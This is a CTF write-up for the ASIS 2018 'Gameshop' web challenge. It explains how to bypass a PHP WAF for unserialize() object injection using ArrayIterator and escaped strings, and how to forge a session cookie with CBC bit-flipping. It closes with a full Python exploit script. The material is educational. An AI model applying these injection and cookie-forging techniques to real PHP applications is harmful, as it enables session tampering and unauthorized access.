Article List

ASISCTF 2018 Gameshop Solution - Exploring PHP unserialize()


Sun Apr 29 2018 00:19:15 GMT+0900 (일본 표준시)
writeupasisctfpentestexploitctfASISsolutiongameshop

Introduction

This post will explain the way to get the flag in an intended way. I'm writing this post assuming that you've got enough knowledge about web security. Please write a comment on the comment session for any questions.

About the challenge

Here's the information about the challenge:

Title: Gameshop

Difficulty: ★★★☆☆ (medium)

Solves: 3/1079

Description: What a shiawase kokoro sunshine! We opened a new VR gameshop just for you, Onii-chan!

URL: http://46.101.223.33/aad407a75bda64301f88d29bae5dd799/

The reason for this challenge being graded as medium was that, it could be very easy to solve this challenge if the attacker has a deep knowledge about PHP internals. You can consider it a 4-star challenge, but I've seen many complex challenges in many other CTFs.

Moreover, this challenge is an easy-medium level compared to challenges in my wargame so I can say it's OK to release it on a CTF.

This decision was solely made from my perspective. The difficulty really depends on your attacking skills, so please do not throw stones at me.

Solution

1. Leaking the sourcecode

On the sourcecode of the index page, there's a comment starting from the very first line of the code.

html
<!--
  こんにちは Hacker-sama!

  I decided to put some weebs instead of weeds. Currently, we are on a cutting-edge development.
  There are too many bugs in here, so we decided to start a new bug bounty program.
  For more information, please check out our security.txt!

  Made with love, by the *kawaii* PHP scientist.
-->

The security.txt mentioned above has a format which is very identical to robots.txt, but this file focuses on security policies.

Precisely speaking, security.txt is a standard which helps bug hunters and security researchers to report vulnerabilities securely via secure channels organized by companies. This file helps both companies and researchers to enhance the security of the product.

security.txt is an internet draft, but big IT companies like Facebook and Google uploaded this on their website. It's sad that many companies don't even know about the existance of this standard yet.

Anyways, looking up the /.well-known/security.txt shows the following content.

shell
# security.txt Kawaii Edition
Contact: mailto:[email protected]
Encryption: file:///dev/urandom
Acknowledgements: http://46.101.223.33/
Policy: http://46.101.223.33/policy.txt
Signature: http://46.101.223.33/signature.txt
Hiring: file:///etc/passwd

Yes, all files mentioned above are fake.

Sourcecodes and Server information can be downloaded at /.well-known/.

shell
Index of /.well-known/
../
backup.tar.gz     08-Apr-2018 08:14              697844
nginx.txt         07-Apr-2018 14:59                1190
phpinfo.min.txt   07-Apr-2018 14:08               12968
security.txt      07-Apr-2018 14:01                 246

Downloading /.well-known/backup.tar.gz gives you index.php script and static folder.

Now, the adventure starts..

So, where is the vulnerability?

Challenges in Security CTFs give you flags when you get deep enough into the system. Flag you earn from these challenges can be used to earn points to your team or even deduct points from other teams.

The main problem we've got in this challenge is that there are too many places to print the flag. Of course, CTFs aren't stupid enough to hand out flags so easy. Almost every possible vulnerable points are intentionally made to distract you from getting the flag. This could make your brain shaking if you don't have enough detailed knowledge about web security.

From my perspective, I'm going to explain about possible(in which most were traps) attacking points.

MicroDB Injection == possible LFI?

MicroDB is an open-source I found while I was making this challenge. This library is made for PHP developers who are willing to use file-based SQLs. SQLite(file-based SQL) is automatically installed upon PHP installation, and still people are making things like this. I'm really questioned. (Oh remember the fact that MicroDB makes multiple files to manage the DB, while SQLite makes a single file to manage the entire DB)

During the time I was creating this challenge, I examined the sourcecode and found out possible LFI but these won't give you pennies. That's why I decided to use this MicroDB in my challenge. (LOL)

If I was the attacker, I would've started to analyze the below snippet from index.php.

php

170     function read($id){
171         $db = new \MicroDB\Database(__PASV__);
172         $post = $db->load($this->waf->waf($id));
173         if(!$post){ return false; }
174         return $post;
175     }
...
416                 if($_GET['id']){
417                     $data = $uzume->read($_GET['id']);
418                     if($data){
419                         $exist = true;
420                     }
421                 }

In $uzume->read() function, $_GET['id'] is passed, filtered, then $db->load() is executed based on the filtered input. Of course, Many would've thought that this part would be vulnerable and tried several ways to bypass it. Anyways, I'm sure it's not vulnerable, so kudos for guys who tried to bypass this part.

Why isn't it vulnerable? Let's have a look at the Database.php

php
    public function load($id, $key = null)
    {
        if (is_array($id)) {
            $results = [];
            foreach ($id as $i) {
                $results[$i] = $this->load($i);
            }
            return $results;
        }
        if (!$this->validId($id)) {
            return null;
        }
    ...
     */
    public function validId($id)
    {
        $id = (string)$id;
        return $id !== '.' && $id !== '..' && preg_match('#^[^/?*:;{}\\\\]+$#', $id);
    }    

Yes. validId() blocks possible LFI attacks. The only possible leak from this code is the useless _auto indexing file. Suprisingly, there are no useful files available within the directory. Also, you can't get into lower directories in the first place. Even if you got into lower directories, you can't still leak flags; script files cannot be leaked, according to the parsing mechanism of MicroDB.

Sigh, file inclusion attack using MicroDB becomes impossible.

If you succeeded to exploit the page with LFI and leaked flags using LFI by any chance, Congratulations! That's not an intended solution.

Leaking flag from Neptune-chan

If you have knowledge about web security, You'll realize that this challenge is related to unserialize() exploitations. Yes, that's correct. But what about the attack with Neptune class? that's a Big Nope.

php
209     function __destruct(){
210         if(is_string($this->username) && is_string($this->password)){
211             if((string)$this->username == "Neptune"){
212                 if((string)$this->password == sha1(__SALT__ . __SALT__)){
213                     die(__FLAG__);
214                 }
215             }
216         }
217     }

If you ever succeeded to solve the challenge with this way, Congratulations. This is not an intended way either. I haven't even examined to try this, but I can assure you that this would be much harder than that MicroDB one and I'm not sure if this is even possble to solve. I'm not a cryptography expert to sincerely check this part. Remember, At the point of writing I'm working as a field infocom soldier in Korean military. I don't have sufficient time to test everything thoroughly. 😭

Apart from that, why isn't this possible? Let's examine the __SALT__ generator function.

php

 3     function generate_salt(){
 4         $rand_seed = (mktime(date("H"),0,0,date("n"),date("j"),date("Y")) * 1337) % PHP_INT_MAX;
 5         mt_srand($rand_seed);
 6         $c = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
 7         $l = strlen($c);
 8         $s = '';
 9         for ($i = 0; $i < 64; $i++) {
10            $s .= $c[mt_rand(0, $l - 1)];
11         }
12         return $s;
13     }

The __SALT__ generated from the above code is 64 bytes long and continuously changes every hour. Apart from that, this challenge uses CBC mode. Custom firewalls enabled. Even if it's possible, I guess this can't be solved within the given time of the CTF. According to my cryptography knowledge, this can't be solved in CTF level. Kudos again for people who succeeded with this way. 👍

Destructing Affimojas-sama to leak the flag? does this even make sense?

php

 44     public function __destruct(){
 45         $caller = get_class(debug_backtrace()[1]['object']);
 46         if(in_array($caller, ["Neptune", "Uzume", "Affimojas"])){
 47             if($this->flag == __FLAG__){
 48                 die(__FLAG__);
 49             }
 50         }else{
 51             $this->add_count("Affimojas Mayday");
 52             die("Too bad, it's not a good way to wake me up, Hacker-kun! (" . $this->get_count() . "/128)");
 53         }

Yes, it makes no sense to me. $this->flag is not set and any info about flags were not serialized. I think this code itself looks really fuzzy. It's hard to leak flags from this part.

Teams who solved this challenge seemed to solve with this way, Kudos to 217 and dcua who solved it using this way.

** This was not an intended solution. **

According to a member from the team 217 said that assigning Affimojas.flag with 0 will be possible to solve this challenge. Very nice way, I never expected this.

Uzume __destruct? (sigh...)

php

157     function __destruct(){
158         if(!is_array($this->flag) && !is_string($this->flag) && !is_null($this->flag)){
159             if((string)$this->flag['ASIS'] == "kawaii~"){
160                 die(__FLAG__);
161             }
162         }
163     }

This does not seems to make sense at all, BUT IT IS VULNERABLE.

If you've not solved this challenge yet, you should probably go and search why this is possible.

Remember, This is PHP! Everything is possible. PHP a.k.a. possibilities unlimited.

The above code is has to fail at all cases because is_array() first checks the input, then compare the input as an array.

This is supposed to be logically impossible. But why is this possible? Let's look at the test script I made.

php

 1 <?php
 2
 3 $a = new ArrayObject();
 4 $a['ASIS'] = "kawaii~";
 5
 6 if(!is_array($a) && !is_string($a) && !is_null($a)){
 7     if((string)$a['ASIS'] == "kawaii~"){
 8         echo "Kawaii-desu, Wakaru~";
 9     }
10 }
11 ?>

ArrayObject is an internal class that makes a Object act like an Array type.(I still don't know why PHP has this kind of internal class.) Anyways, Using this ArrayObject will give you an object which acts like an array type. By running the above code, it will successfully print Kawaii-desu, Wakaru~.

We finally found the possible path, let's now start with bypassing techniques.

2. WAF filter bypass and Malforming the crypttext

php

232         $ptext = @openssl_decrypt($ctext, $this->cipher, __SALT__, $options=OPENSSL_RAW_DATA, $iv=$iv);
233         if(!$ptext) $this->bye();
234         $v = @unserialize($this->waf->waf($ptext));

By now, you should be aware of the fact that challenge is about the unserialize() attack, but I'm going to explain a bit further as just posting an exploit code will be difficult for you to understand the logic.

Let's have a look at the customized WAF code:

php

126     public function waf($data){
127         if($this->filter_trials()){
128             if(!$data){
129                 $this->add_count("Malformed data");
130                 die("Kono-yaro! Malformed data yamero~!!!!!");
131             }
132             $i = $this->filter_injection($data);
133             $s = $this->filter_session($i);
134             if(!$i || !$s){
135                 $this->add_count($data);
136                 die("Kono-Yaro! You cannot get me, hahaha!");
137             }else{
138                 return $s;
139             }
140         }else{
141             die("Baka Onii-chan! You are blocked from access. Please wait for some time.");
142         }
143     }

Customized WAF in the script temporarily blocks your IP when attack_count becomes more than 128 filter_trials, then checks and verifies your data with filter_injection() and filter_session respectively.

As the intended solution is to bypass the session, We will now examine the filter_session() function.

php

109     private function filter_session($data){
110         if(is_array($data)) return false;
111         $data = str_ireplace(";O:", ";s:", $data);
112         $secure_except = ';s:9:"Affimojas":3:';
113         if(substr_count($data, $secure_except) == 1){
114             $data = str_ireplace($secure_except, ';O:9:"Affimojas":3:', $data);
115         }
116         $filter = ['asis', 'admin', __FLAG__, 'kawaii', 'StdClass', 'Object', 'String'];
117         foreach($filter as $filter_check){
118             if(substr_count(strtolower($data), strtolower($filter_check)) > 0) return false;
119         }
120         $filter = ['"Uzume"', '"Neptune"', '"Affimojas"', 'Database"'];
121         foreach($filter as $filter_check){
122             if(substr_count(strtolower($data), strtolower($filter_check)) > 1) return false;
123         }
124         return $data;
125     }

☠ Sadly, it seems that ArrayObject is filtered by the word at Ln.116 (Object)

Moreover, Ln.111 suggests that Objects can't be injected in the first place. But we still have hope to try, because this is PHP and we can bypass these filters.

I will not write any further explanation as we are going to bypass a lot of things. Please write on comment section for any questions.

Bypass1: Object bypass and simplification

php
<?php

// Uzume __destruct is copied from the original script
class Uzume {
    function __destruct(){
        if(is_array($this->flag) || is_string($this->flag)){
            echo "[x] Uzume __destruct is loaded, but Nope..";
            return;
        }
        if($this->flag['ASIS'] == "kawaii~"){
            echo "[!] Flag spawned!\n";
        }
    }
}

////////////////////////////////////////
echo "\n";
echo "1. ArrayIterator is the iterator class of ArrayObject\n";
echo "- Since the word 'Object' is filtered, we can use the internal 'Iterator' class.\n";
$a = new ArrayObject(); // The world `object` is filtered
$a['ASIS'] = "kawaii~";
$b = new ArrayIterator(); // However, `ArrayIterator` almost does the same thing as `ArrayObject`
$b['ASIS'] = "kawaii~";
// Comparing both objects will return true. Therefore, ArrayIterator is capable of array-like comparison.
var_dump($a['ASIS'] == $b['ASIS']); // bool(true)

///////////////////////////////////////
echo "\n";
echo "2. serialize(ArrayIterator);\n";
// string(72) "C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";};m:a:0:{}}"
echo "[*] Serialized object of ArrayIterator: " . serialize($b) . "\n";
// Bypassed by injecting Class `C` rather injecting Object `O`.
// We now bypassed all filters on the customized WAF.

///////////////////////////////////////
echo "\n";
echo "3. Simplify attack string\n";
$c = 'C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}';
echo "[*] Shortened object: $c\n";
echo "[*] strlen(normal): " . strlen(serialize($b)) . "\n";
echo "[*] strlen(shortened): " . strlen($c) . "\n";
echo "**** Pops an error upon unserialize ****\n";
var_dump(unserialize('C:13:"ArrayIterator":39:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}'));
echo "**** What if it's loaded with Uzume? ****\n";
var_dump(unserialize('O:5:"Uzume":3:{s:4:"flag";C:13:"ArrayIterator":39:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}};'));
/*
    Simplified code is supposed to crash the script with a fatal error.
    However, $uzume->__destruct() is called before the fatal error comes so flag is returned.
    The reason why I simplified this piece of code was to minimize the input. We'll see about this later.
*/

The result of the above code is as follows:

bash
$ php test1.php

1. ArrayIterator is the iterator class of ArrayObject
- Since the word 'Object' is filtered, we can use the internal 'Iterator' class.
bool(true)

2. serialize(ArrayIterator);
[*] Serialized object of ArrayIterator: C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";};m:a:0:{}}

3. Simplify attack string
[*] Shortened object: C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}
[*] strlen(normal): 72
[*] strlen(shortened): 63
**** Pops an error upon unserialize ****
PHP Warning:  Insufficient data for unserializing - 39 required, 38 present in /srv/dev/test1.php on line 41
PHP Notice:  unserialize(): Error at offset 25 of 63 bytes in /srv/dev/test1.php on line 41
bool(false)
**** What if it's loaded with Uzume? ****
[!] Flag spawned!
PHP Fatal error:  Uncaught UnexpectedValueException: Error at offset 37 of 39 bytes in /srv/dev/test1.php:43
Stack trace:
#0 [internal function]: ArrayIterator->unserialize('x:i:0;a:1:{s:4:...')
#1 /srv/dev/test1.php(43): unserialize('O:5:"Uzume":3:{...')
#2 {main}
  thrown in /srv/dev/test1.php on line 43

Isn't this interesting? Let's move to the next part.

Bypass2: String bypass

Words like 'ASIS' and 'kawaii' are blocked. But always remember -- This is PHP. We can still bypass these filters.

php
<?php

echo "4. Bypass string filter\n";
$a = new ArrayIterator();
$a['ASIS'] = "kawaii~";
echo "[*] Serialized string: " . serialize($a) . "\n";
echo "** Serialized Object Information***\n";
var_dump($a);
$b = 'C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};m:a:0:{}}';
echo "[*] Modified string: " . $b . "\n";
echo "** Bypassed Object Information***\n";
var_dump(unserialize($b));
echo "[?] Are they equal?\n";
var_dump($a['ASIS'] === unserialize($b)['ASIS']);

?>
bash
$ php test2.php
4. Bypass string filter
[*] Serialized string: O:13:"ArrayIterator":3:{i:0;i:0;i:1;a:1:{s:4:"ASIS";s:7:"kawaii~";}i:2;a:0:{}}
** Serialized Object Information***
object(ArrayIterator)#1 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["ASIS"]=>
    string(7) "kawaii~"
  }
}
[*] Modified string: C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};m:a:0:{}}
** Bypassed Object Information***
object(ArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["ASIS"]=>
    string(7) "kawaii~"
  }
}
[?] Are they equal?
bool(true)

This is possible because the string type in serialized object (s) is converted to unicode string type (S).

By using Bypass1 and Bypass2, We manage up to make the following payload

php
C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 64

3. Malforming the session (a.k.a. Attacks using CBC and serialize structures)

Let's get back to index.php now.

php
define("__CIPHER__", "camellia-256-cbc");

The challenge uses a cipher called Camellia-256. This cipher is very identical to AES-256 regarding to its structure. Apart from the cipher, CBC mode is used in this script so the matter of cipher type is not a big issue here.

From here, I will explain the way to exploit assuming that you have a bit of knowledge about CBC blocks and any attacks related to CBC blocks.

First of all, what we are going to use here is not about the padding attack; it's about attcking CBC blocks and inject serialized objects. Let's have a look at the decryption logic below:

CBC decryption

php

252     function save(){
253         global $key;
254         $iv = random_bytes(16);
255         $enc = bin2hex($iv) . bin2hex(openssl_encrypt(serialize($this), 'camellia-256-cbc', __SALT__, $options=OPENSSL_RAW_DATA, $iv));
256         setcookie("donmai", $value = $enc, $expire = time() + 86400 * 30, "/", $_SERVER['HTTP_HOST']);
257     }

save() function basically sets a cookie donmai with a random IV and a crypttext c.

As we got the sourcecode and have knowledge about the session structure, We now have plaintext, crypttext and IV. Yet we still don't have the original key __SALT__.

What if we have plaintext, crypttext and IV all at the same time? Well, we can somehow malform first block of the text without pain.

python

# Considering that a element of a list is a single block
c = ["???", "???", ...]
IV = "???"
p = ["real_text_123456", "abcdeabcdeabcdef"]
# malformed block
f = ["fake_text_123456", "abcdeabcdeabcdef"]

# To malform p[n] in CBC without crash, block p[n - 1] has to be modified..
IV = IV ⊕ p[0] ⊕ f[0]
# IV comes first part of the decryption phase, so changing IV won't affect whatsoever.

fake_crypttext = IV + ''.join(c) <<

First block can now be modified without changing other blocks of crypttext. Plaintext of decrypted malformed crypttext can now be returned with changed blocks.

Using this method only applies with the case when we have the control to modify the IV. That's not the end. We can't modify other blocks like this; previous blocks will crash and plaintext of decrypted crypttext won't be functional.

Let's split plaintext of donmai session in blocks of texts and examine the session.

Username: stypr / Password: test123456

php
  [0]=>
  string(16) "O:7:"Neptune":5:" << This can be malformed easily.
  ....
  [3]=>
  string(16) "6-cbc";s:17:" Ne" (Spaces are null-bytes)
  [4]=>
  string(16) "ptune username";"
  [5]=>
  string(16) "s:5:"stypr";s:17"
  [6]=>
  string(16) ":" Neptune passw"
  [7]=>
  string(16) "ord";s:10:"test1"
  ...

Username: umaru / Password: 1";s:4:"flag";i:1;s:"test

php
  [0]=>
  string(16) "O:7:"Neptune":5:"
  [1]=>
  string(16) "{s:9:"*cipher";s"
  [2]=>
  string(16) ":16:"camellia-25"
  [3]=>
  string(16) "6-cbc";s:17:" Ne"
  [4]=>
  string(16) "ptune username";"
  [5]=>
  string(16) "s:5:"umaru";s:17"
  [6]=>
  string(16) ":" Neptune passw"
  [7]=>
  string(16) "ord";s:25:"1";s:" 
  [8]=>
  string(16) "4:"flag";i:1;s:"" << ctype_print() lets us to inject whatever we want.
  [9]=>
  string(16) "test";s:13:"Nept"
  [10]=>
  string(16) "unecoin";i:0;s:1"

The 8th and 9th block indicate that it is possible to inject malformed texts to the block. But as we look as the 8th block (which is [7]), we see that the length is 25 and all inputs we injected are considered as string.

In order to make this injection work in a very optimal way, we need to set the length of "\x00Neptune\x00Password" to be 0, make the input of it empty, and inject the session.

As explained earlier, In order to change a specific block in the crypttext requires p[n] = p[n] ⊕ p[n-1] ⊕ f[n-1] to be met, and the modified text should not have any errors and should be compared within the script.

To mitigate this problem, We have to:-

  1. Set the ID to length 16 (it's length 16 to pad to a point where we can mess up a single block.)
  2. Modify the name of the variable \x00Neptune\x00Password(len=17) so that script won't crash during the decryption.
  3. Set the length of password to be 0, so that injection works without crash.

In this way, we just have to brute-force for a single byte to make this session legitimate.

ID: styprumarukirino (len=16), PW: 1";s:4:"flag";i:1;s:"test (len=25)

php
  [0]=>
  string(16) "O:7:"Neptune":5:"
  [1]=>
  string(16) "{s:9:" * cipher""
  [2]=>
  string(16) ";s:16:"camellia-"
  [3]=>
  string(16) "256-cbc";s:17:" "
  [4]=>
  string(16) "Neptune username"
  [5]=>
  string(16) "";s:16:"stypruma"
  [6]=>
  string(16) "rukawaii";s:17:""
  [7]=>
  string(16) " Neptune passwor" << We don't really care what happens to this block
  [8]=>            ||----------- which means we can modify the value size to whatever we want.
  string(16) "d";s:25:"1";s:4:"
  [9]=>
  string(16) ""flag";i:1;s:"te"
  [10]=>
  string(16) "st";s:13:"Neptun"
  [11]=>

The maximum trial count is 128.

We can make the exploit part more lenient by using different IPs, but the intended solution needs less than 128 trials.

Let's recall the previous chapter (i.e. bypassed payload with ArrayIterator)

php
C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 64

When we use this payload for the final exploitation, the input looks something like this.

php
PW: ";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 80

Now you know understand why I simplified the exploit in the previous chapter. 😃

ID: styprexploit1337(len=16)

PW: ";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};(len=80)

php
  [0]=>
  string(16) "O:7:"Neptune":5:"
  [1]=>
  string(16) "{s:9:" * cipher""
  [2]=>
  string(16) ";s:16:"camellia-"
  [3]=>
  string(16) "256-cbc";s:17:" "
  [4]=>
  string(16) "Neptune username"
  [5]=>
  string(16) "";s:16:"styprexp"
  [6]=>
  string(16) "loit1337";s:17:""
  [7]=>
  string(16) " Neptune passwor"
  [8]=>            |-------------- We now need the `80` to be changed to either `00` or `+0`.
  string(16) "d";s:80:"";s:4:""
  [9]=>
  string(16) "flag";C:13:"Arra"
  [10]=>
  string(16) "yIterator":50:{x"
  [11]=>
  string(16) ":i:0;a:1:{S:4:"\"
  [12]=>
  string(16) "41SIS";S:7:"\6ba"
  [13]=>
  string(16) "waii~";};";s:13:"
  [14]=>
  string(16) ""Neptunecoin";i:"
  [15]=>
  string(16) "0;s:12:"Neptunew"
  [16]=>

Now, we are all set. Let's make an exploit!

4. Exploit

The exploit below is written based on the explanations from above.

python
#!/usr/bin/python -u
import sys
import urllib2
import urllib
import random
import string

victim = "https://pwn.moe/donmai/donmai/aad407a75bda64301f88d29bae5dd799/"
cookie = ""

rand_str = lambda x: ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(x))
slice = lambda x, y: map(''.join, zip(*[iter(x)]*y))
xor = lambda x, y: ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(x,y))

def join(username, password):
    data = {'username': username, 'password': password, 'reg': 'Register'}
    data = urllib.urlencode(data)
    r = urllib2.urlopen(victim, data).read().split("<h3>")[1].split("</h3")[0]
    return r

def login(username, password):
    global cookie
    data = {'username': username, 'password': password, 'sign': 'Login'}
    data = urllib.urlencode(data)
    r = urllib2.urlopen(victim, data)
    cookie = r.headers.get('Set-Cookie')
    return r.read().split("<h3>")[1].split("</h3>")[0]

def main():
    global cookie
    r = urllib2.Request(victim)
    r.add_header('Cookie', cookie)
    r = urllib2.urlopen(r).read()
    return r

def exploit(o, i):
    global cookie
    ''' Blocks
      [0]=>
      string(16) "O:7:"Neptune":5:"
                 "O:005:"Uzume":5:" << 005 = 5
      ...
      [7]=>
      string(16) " Nept?ne passwor"
      [8]=>            |-------------- Need +0 or 00, ~128 trials
      string(16) "d";s:?0:"";s:4:""
    '''
    # we just need to bruteforce a single byte for this attack
    k = chr(i)
    # Blocks to change
    p = ['O:7:"Neptune":5:', '\x00Neptune\x00Password']
    f = ['O:005:"Uzume":5:', '\x00Nept' + k + 'ne\x00Password']
    # parse cookie
    _cookie = o[cookie.find('donmai=')+7:cookie.find(';')]
    # split iv and c
    iv = _cookie[:32].decode('hex')
    c = slice(_cookie[32:].decode('hex'), 16)
    # To change plaintext of c[0]
    # IV = IV ^ p[0] ^ f[0]
    iv = xor(iv, p[0])
    iv = xor(iv, f[0])
    # To change plaintext of c[8]
    # c[7] = c[7] ^ p[8] ^ f[8]
    c[7] = xor(c[7], p[1])
    c[7] = xor(c[7], f[1])
    # merge back
    _exploit = iv.encode('hex') + ''.join(c).encode('hex')
    cookie = "donmai=%s;" % (_exploit,)

if __name__ == "__main__":
    username = rand_str(16)
    password = '";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\\41SIS";S:7:"\\6bawaii~";};'
    print('[*] Register: %s' % (join(username, password),))
    print('[*] Login: %s ' % (login(username, password),))
    orig_cookie = cookie
    user_input = raw_input('[?] One-shot?(y/n): ')
    if "y" in user_input:
        exploit(orig_cookie, 102)
        r = main()
        if "ASIS{" in r:
            print(cookie)
            print(r)
        else:
            print('[!] Flag leak failed..')
    else:
        for i in xrange(0, 128):
            print('[*] Trial %s/128' % (i,))
            exploit(orig_cookie, i)
            r = main()
            if "ASIS{" in r:
                print(cookie)
                print(r)
                sys.exit(0)
        print('[!] Flag leak failed.. something is wrong.')